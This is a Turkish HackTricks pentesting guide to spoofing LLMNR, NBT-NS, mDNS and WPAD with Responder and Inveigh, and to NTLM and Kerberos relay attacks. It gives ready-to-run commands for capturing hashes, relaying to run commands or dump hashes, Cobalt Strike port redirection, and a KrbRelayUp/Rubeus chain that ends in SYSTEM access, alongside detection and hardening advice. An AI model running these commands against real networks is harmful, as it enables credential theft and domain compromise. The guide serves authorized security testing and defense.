LLMNR, NBT-NS, mDNS/DNS ve WPAD ile Relay Saldırılarını Taklit Etme
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Ağ Protokolleri
Yerel Ana Bilgisayar Çözümleme Protokolleri
- LLMNR, NBT-NS ve mDNS:
- Microsoft ve diğer işletim sistemleri, DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinleme ve taklit edilme riskine sahiptir.
- Responder, bu protokolleri sorgulayan ana bilgisayarlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir.
- Responder kullanarak hizmet taklidi hakkında daha fazla bilgi burada bulunabilir.
Web Proxy Otomatik Keşif Protokolü (WPAD)
- WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine olanak tanır.
- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek sağlanır.
- Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü niyetli WPAD sunucularına yönlendirebilir.
Protokol Zehirleme için Responder
- Responder, LLMNR, NBT-NS ve mDNS sorgularını zehirlemek için kullanılan bir araçtır, sorgu türlerine göre seçici yanıt vererek, esas olarak SMB hizmetlerini hedef alır.
- Kali Linux'ta önceden yüklenmiştir,
/etc/responder/Responder.conf
dosyasında yapılandırılabilir. - Responder, yakalanan hash'leri ekranda gösterir ve bunları
/usr/share/responder/logs
dizinine kaydeder. - Hem IPv4 hem de IPv6'yı destekler.
- Responder'ın Windows sürümü burada mevcuttur.
Responder'ı Çalıştırma
- Varsayılan ayarlarla Responder'ı çalıştırmak için:
responder -I <Interface>
- Daha agresif sorgulama için (potansiyel yan etkilerle birlikte):
responder -I <Interface> -P -r -v
- NTLMv1 zorlukları/yanıtlarını daha kolay kırmak için yakalamak için teknikler:
responder -I <Interface> --lm --disable-ess
- WPAD taklidi etkinleştirilebilir:
responder -I <Interface> --wpad
- NetBIOS istekleri saldırganın IP'sine çözülebilir ve bir kimlik doğrulama proxy'si kurulabilir:
responder.py -I <interface> -Pv
Responder ile DHCP Zehirleme
- DHCP yanıtlarını taklit etmek, bir kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlemesine göre daha gizli bir alternatif sunar.
- Hedef ağın yapılandırması hakkında kesin bilgi gerektirir.
- Saldırıyı çalıştırma:
./Responder.py -I eth0 -Pdv
- Bu yöntem, NTLMv1/2 hash'lerini etkili bir şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli bir şekilde ele alınmalıdır.
Responder ile Kimlik Bilgilerini Yakalama
- Responder, yukarıda belirtilen protokolleri kullanarak hizmetleri taklit edecek ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulama yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalayacaktır.
- Daha kolay kimlik bilgisi kırma için NetNTLMv1'e düşürme veya ESS'yi devre dışı bırakma girişimleri yapılabilir.
Bu tekniklerin yasal ve etik bir şekilde, uygun yetkilendirme ile uygulanması ve kesinti veya yetkisiz erişimden kaçınılması önemlidir.
Inveigh
Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevler sunarak taklit etme ve adam ortada saldırıları gerçekleştirmektedir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrilmiştir ve Inveigh ve InveighZero ana sürümleridir. Ayrıntılı parametreler ve talimatlar wiki sayfasında bulunabilir.
Inveigh, PowerShell üzerinden çalıştırılabilir:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
C# ikili dosyası olarak da çalıştırılabilir:
Inveigh.exe
NTLM Relay Attack
Bu saldırı, hedef bir makineye erişim sağlamak için SMB kimlik doğrulama oturumlarını kullanır ve başarılı olursa bir sistem kabuğu verir. Ana gereksinimler şunlardır:
- Kimlik doğrulayan kullanıcı, yönlendirilmiş ana makinede Yerel Yönetici erişimine sahip olmalıdır.
- SMB imzalama devre dışı bırakılmalıdır.
445 Port Yönlendirme ve Tünelleme
Doğrudan ağ tanıtımının mümkün olmadığı senaryolarda, 445 numaralı porttaki trafik yönlendirilip tünellenmelidir. PortBender gibi araçlar, yerel yönetici erişimi mevcut olduğunda sürücü yükleme için gerekli olan 445 numaralı port trafiğini başka bir porta yönlendirmeye yardımcı olur.
PortBender kurulumu ve Cobalt Strike'daki çalışması:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM Relay Saldırısı için Diğer Araçlar
- Metasploit: Proxiler, yerel ve uzak ana bilgisayar ayrıntıları ile yapılandırılmıştır.
- smbrelayx: SMB oturumlarını iletmek ve komutları çalıştırmak veya arka kapılar dağıtmak için bir Python betiği.
- MultiRelay: Belirli kullanıcıları veya tüm kullanıcıları iletmek, komutları çalıştırmak veya hash'leri dökmek için Responder paketinden bir araç.
Her araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır.
MultiRelay İşlemi
MultiRelay, belirli IP'leri veya kullanıcıları hedef alarak /usr/share/responder/tools dizininden çalıştırılır.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Bu araçlar ve teknikler, çeşitli ağ ortamlarında NTLM Relay saldırıları gerçekleştirmek için kapsamlı bir set oluşturur.
NTLM Girişlerini Zorla
Windows'ta bazı ayrıcalıklı hesapların rastgele makinelere kimlik doğrulaması yapmasını zorlayabilirsiniz. Nasıl yapılacağını öğrenmek için aşağıdaki sayfayı okuyun:
Force NTLM Privileged Authentication
Kerberos Relay saldırısı
Bir Kerberos relay saldırısı, bir hizmetten AP-REQ bileti çalar ve bunu aynı bilgisayar-hesap anahtarını paylaşan ikinci bir hizmete karşı yeniden kullanır (çünkü her iki SPN de aynı $
makine hesabında bulunur). SPN'lerin hizmet sınıfları farklı olsa bile (örneğin, CIFS/
→ LDAP/
) bu çalışır çünkü bileti deşifre eden anahtar, makinenin NT hash'idir, SPN dizesi değil ve SPN dizesi imzanın bir parçası değildir.
NTLM relay'den farklı olarak, atlama aynı ana bilgisayar ile sınırlıdır ancak, LDAP'a yazmanıza izin veren bir protokolü hedeflerseniz, Kaynak Tabanlı Kısıtlı Delegasyon (RBCD) veya AD CS kaydı ile zincirleme yapabilir ve tek seferde NT AUTHORITY\SYSTEM'ı ele geçirebilirsiniz.
Bu saldırı hakkında detaylı bilgi için kontrol edin:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos temelleri
Token | Amaç | Relay ile ilgili |
---|---|---|
TGT / AS-REQ ↔ REP | Kullanıcıyı KDC'ye kanıtlar | dokunulmamış |
Hizmet bileti / TGS-REQ ↔ REP | Bir SPN ile sınırlıdır; SPN sahibinin anahtarı ile şifrelenmiştir | hesapları paylaşan SPN'ler için değiştirilebilir |
AP-REQ | İstemci TGS 'yi hizmete gönderir | çaldığımız ve yeniden oynattığımız şey |
- Biletler, SPN'yi sahip olan hesabın şifreden türetilen anahtarı ile şifrelenmiştir.
- AP-REQ içindeki Authenticator 5 dakikalık bir zaman damgasına sahiptir; bu penceredeki yeniden oynatma, hizmet önbelleği bir kopya gördüğünde geçerlidir.
- Windows, biletteki SPN dizesinin vurduğunuz hizmetle eşleşip eşleşmediğini nadiren kontrol eder, bu nedenle
CIFS/HOST
için bir bilet genellikleLDAP/HOST
üzerinde düzgün bir şekilde deşifre edilir.
-
- Kerberos'u relay etmek için ne olmalı
- Paylaşılan anahtar: kaynak ve hedef SPN'ler aynı bilgisayar hesabına aittir (Windows sunucularında varsayılan).
- Kanal koruması yok: SMB/LDAP imzalama kapalı ve HTTP/LDAPS için EPA kapalı.
- Kimlik doğrulamasını kesebilir veya zorlayabilirsiniz: LLMNR/NBNS zehirleme, DNS sahtekarlığı, PetitPotam / DFSCoerce RPC, sahte AuthIP, sahte DCOM, vb.
- Bilet kaynağı daha önce kullanılmamış olmalı: gerçek paket gelmeden önce yarışı kazanırsınız veya tamamen engellersiniz; aksi takdirde sunucunun yeniden oynatma önbelleği Olay 4649'u tetikler.
- İletişimde bir MitM gerçekleştirebilmeniz gerekiyor, belki de alanın DNS'ini değiştirmek için DNSAmins grubunun bir parçası olmak veya kurbanın HOST dosyasını değiştirebilmek.
Kerberos Relay Adımları
- 3.1 Ana bilgisayarı keşfet
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 İletim dinleyicisini başlat
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
, KrbRelay → LDAP → RBCD → Rubeus → SCM bypass'ı tek bir ikili dosyada toplar.
- 3.3 Kerberos kimlik doğrulamasını zorla
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce, DC'nin bize bir Kerberos CIFS/DC01
bileti göndermesini sağlar.
- 3.4 AP-REQ'yi İlet
KrbRelay, SMB'den GSS blob'unu çıkarır, bunu bir LDAP bağlama işlemi olarak yeniden paketler ve ldap://DC01
'ye iletir—kimlik doğrulama başarılıdır çünkü aynı anahtar bunu çözer.
- 3.5 LDAP'ı Kötüye Kullan ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
Bilmeniz Gereken Diğer Yollar
Vektör | Hile | Neden Önemli |
---|---|---|
AuthIP / IPSec | Sahte sunucu, herhangi bir SPN ile GSS-ID yükü gönderir; istemci doğrudan size bir AP-REQ oluşturur | Alt ağlar arasında bile çalışır; makine kimlik bilgileri varsayılan olarak |
DCOM / MSRPC | Kötü niyetli OXID çözücü, istemcinin rastgele bir SPN ve porta kimlik doğrulaması yapmasını zorlar | Tamamen yerel ayrıcalık yükseltme; güvenlik duvarını atlar |
AD CS Web Enroll | Makine biletini HTTP/CA 'ya iletin ve bir sertifika alın, ardından PKINIT ile TGT'ler oluşturun | LDAP imzalama savunmalarını atlar |
Gölge Kimlik Bilgileri | msDS-KeyCredentialLink yazın, ardından sahte anahtar çifti ile PKINIT yapın | Bir bilgisayar hesabı eklemeye gerek yok |
Sorun Giderme
Hata | Anlamı | Çözüm |
---|---|---|
KRB_AP_ERR_MODIFIED | Bilet anahtarı ≠ hedef anahtar | Yanlış ana bilgisayar/SPN |
KRB_AP_ERR_SKEW | Saat > 5 dakika kayma | Zamanı senkronize edin veya w32tm kullanın |
LDAP bağlanma hatası | İmzalama zorunlu | AD CS yolunu kullanın veya imzalamayı devre dışı bırakın |
Olay 4649 spam | Hizmet, tekrar eden Kimlik Doğrulayıcı gördü | orijinal paketi engelleyin veya yarışın |
Tespit
- Aynı kaynaktan birkaç saniye içinde Event 4769'da artış.
- Hizmette Event 4649, tekrar tespit edildiğini gösterir.
- 127.0.0.1'den Kerberos oturumu (yerel SCM'ye iletim) oldukça şüphelidir—KrbRelayUp belgelerinde Sigma kuralı ile haritalayın.
msDS-AllowedToActOnBehalfOfOtherIdentity
veyamsDS-KeyCredentialLink
niteliklerinde yapılan değişiklikleri izleyin.
Güçlendirme
- Her sunucuda LDAP & SMB imzalamayı + EPA'yı zorunlu kılın.
- SPN'leri ayırın böylece HTTP, CIFS/LDAP ile aynı hesapta olmaz.
- Zorlamalı vektörleri yamalayın (PetitPotam KB5005413, DFS, AuthIP).
ms-DS-MachineAccountQuota = 0
ayarlayarak sahte bilgisayar katılımlarını durdurun.- Event 4649 ve beklenmedik döngü geri Kerberos oturumları için uyarı verin.
Referanslar
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.